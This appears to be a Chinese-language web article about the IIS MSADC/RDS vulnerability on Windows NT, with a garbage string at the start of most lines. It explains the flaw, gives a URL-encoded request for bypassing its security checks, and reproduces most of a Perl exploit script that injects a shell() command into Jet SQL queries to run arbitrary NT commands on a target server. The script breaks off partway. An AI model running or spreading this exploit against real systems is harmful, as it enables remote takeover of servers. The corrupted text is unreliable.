IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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<n: "qgu$N4/> 涉及程序:
117c,yM0 Microsoft NT server
\=Nm5: &D)2KD"N 描述:
dr{1CP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J[6VBM.Y Ju4.@ 详细:
Q ]0r:i=
. 如果你没有时间读详细内容的话,就删除:
O a1'oYIHg c:\Program Files\Common Files\System\Msadc\msadcs.dll
eK*W=c#@ 有关的安全问题就没有了。
(M8hy4Ex B5
&YL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
hbH#Co~o4# gg(k7e 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
(FG^UA#' 关于利用ODBC远程漏洞的描述,请参看:
(:l(_-O 5pmQp}}R http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (,U7 R^ !pl_Ao~( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Rhv%6ekI http://www.microsoft.com/security/bulletins/MS99-025faq.asp }>,CUz .8x@IWJD 这里不再论述。
D!/0c]" b@!:=_Mr 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*7_@7=W, F: ,#? /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZqFUPHc 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
KDBY9`08 u6pIdt c(CJ{>F% #将下面这段保存为txt文件,然后: "perl -x 文件名"
'mUI-1GkT 4@mso+tk #!perl
j6}$+!E #
~M; gM]r; # MSADC/RDS 'usage' (aka exploit) script
D$mf5G & #
DUhT>,~] # by rain.forest.puppy
", QPb3 #
>HX)MwAP # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_<3r'Y, # beta test and find errors!
M_; w%FV
VmYBa( use Socket; use Getopt::Std;
Qi"'bWX@ getopts("e:vd:h:XR", \%args);
j=\Mx6os 58PKx5`D print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
_)q4I(s* 7~D`b1|| if (!defined $args{h} && !defined $args{R}) {
4/f[`].#W print qq~
YLigP"*~^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
?l>e75V%w -h <host> = host you want to scan (ip or domain)
Y!aLf[x] -d <seconds> = delay between calls, default 1 second
wM0E%6
P -X = dump Index Server path table, if available
Wkww&Y -v = verbose
Bqp&2zg)@ -e = external dictionary file for step 5
Q~b_dx{m boIVU`F-! Or a -R will resume a command session
x.o3iN[=
C6CGj8G ~; exit;}
sjcQaF`= OSj%1KL $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
mgxz1d if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{RH*8?7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
juXC?2c if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
|w4(rs- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
l%@dE7<Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5/k)\` E::<;9 if (!defined $args{R}){ $ret = &has_msadc;
-C=]n<ak die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
K: 4P;ApI uZ-`fcCjD print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?N(u4atC . "cmd /c ";
\DaLHC~ $in=<STDIN>; chomp $in;
{vjqy&?y $command="cmd /c " . $in ;
_En]@xK3& BjN{@aEO if (defined $args{R}) {&load; exit;}
6Z$b?A3zM V.U|OQouT print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
y6bjJ} &try_btcustmr;
Ty.drM -;f+;
M print "\nStep 2: Trying to make our own DSN...";
uO6c3|Zjs &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
pL%4= ]m x)d2G6x print "\nStep 3: Trying known DSNs...";
|KTpK(6p &known_dsn;
nwhm[AaNs D)h["z|F print "\nStep 4: Trying known .mdbs...";
8dlInms &known_mdb;
3/:LYvM< >d'EInSF if (defined $args{e}){
qq/_yt print "\nStep 5: Trying dictionary of DSN names...";
jzQ9zy_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
xTGP cK/PQsMP print "Sorry Charley...maybe next time?\n";
b5[f 5 exit;
HuK Aj K7+^Yv\YQx ##############################################################################
9*f2b.Aj L,GShl 0S sub sendraw { # ripped and modded from whisker
[9w, WJL sleep($delay); # it's a DoS on the server! At least on mine...
jt/l,=9YK my ($pstr)=@_;
j\nE8WH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Pb*q;9 die("Socket problems\n");
s8{-c^G:R if(connect(S,pack "SnA4x8",2,80,$target)){
UP5%C; select(S); $|=1;
^GrNfB[Qu print $pstr; my @in=<S>;
m)(SG select(STDOUT); close(S);
LciL/? return @in;
3LT+9ad2d } else { die("Can't connect...\n"); }}
G#^m<G^M anpJAB:1 ##############################################################################
7=L:m7T )H.ubM1 sub make_header { # make the HTTP request
EUJ1RhajF my $msadc=<<EOT
.QNjeMu. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}k4` User-Agent: ACTIVEDATA
,>:XE@xcp Host: $ip
(/To?` Content-Length: $clen
wVlSjk Connection: Keep-Alive
O7! fI'R =%:JjgKc*t ADCClientVersion:01.06
e =0l<Rj Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:v|r= #OI ](]*]a4ss --!ADM!ROX!YOUR!WORLD!
$:xF)E Content-Type: application/x-varg
u XaL Content-Length: $reqlen
uPM8GIvZX. Wdei`u[ EOT
sj#{TTW ; $msadc=~s/\n/\r\n/g;
~+7a d$ return $msadc;}
.LWOM8) rE!G,^_{ ##############################################################################
Y'3kE D!81(}p sub make_req { # make the RDS request
v$qpcu#o my ($switch, $p1, $p2)=@_;
!E4E' I=]N my $req=""; my $t1, $t2, $query, $dsn;
Nck!z8 i!s~kk if ($switch==1){ # this is the btcustmr.mdb query
f0:EQYYZ $query="Select * from Customers where City=" . make_shell();
"US"`a2 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
e5]&1^+ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
4W[AXDS p,3go[9X:R elsif ($switch==2){ # this is general make table query
Z5"!0B^ j $query="create table AZZ (B int, C varchar(10))";
~)WfJ $dsn="$p1";}
#L|JkBia
O6M}W_ elsif ($switch==3){ # this is general exploit table query
~e,f )? $query="select * from AZZ where C=" . make_shell();
IwZZewb-a $dsn="$p1";}
qz-#LZFTR azz#@f1 elsif ($switch==4){ # attempt to hork file info from index server
5<'n $query="select path from scope()";
4SX3c:> $dsn="Provider=MSIDXS;";}
DQL06`pX/ KIXwx98 elsif ($switch==5){ # bad query
Dx p> $query="select";
}rFsU\]:q $dsn="$p1";}
w0q?\qEX KZ367&>b7 $t1= make_unicode($query);
ux"D
]P $t2= make_unicode($dsn);
yfRUTG $req = "\x02\x00\x03\x00";
9n06n$F $req.= "\x08\x00" . pack ("S1", length($t1));
P wt ?9I $req.= "\x00\x00" . $t1 ;
<k!mdj) $req.= "\x08\x00" . pack ("S1", length($t2));
c,b`N0dOKL $req.= "\x00\x00" . $t2 ;
c,g]0S?gu $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,3fuX~g return $req;}
~v{C6) ]6?c8/M ##############################################################################
=B3!jir FFD*e-i sub make_shell { # this makes the shell() statement
eG[umv.9b return "'|shell(\"$command\")|'";}
i'eYmm96Q n $D}0wSM/ ##############################################################################
R{2GQB "-~D!{rS sub make_unicode { # quick little function to convert to unicode
s>9z+;~! my ($in)=@_; my $out;
%l9WZ*yZ`2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Xr
return $out;}
_oMs
`"4K 5JXzfc9rL ##############################################################################
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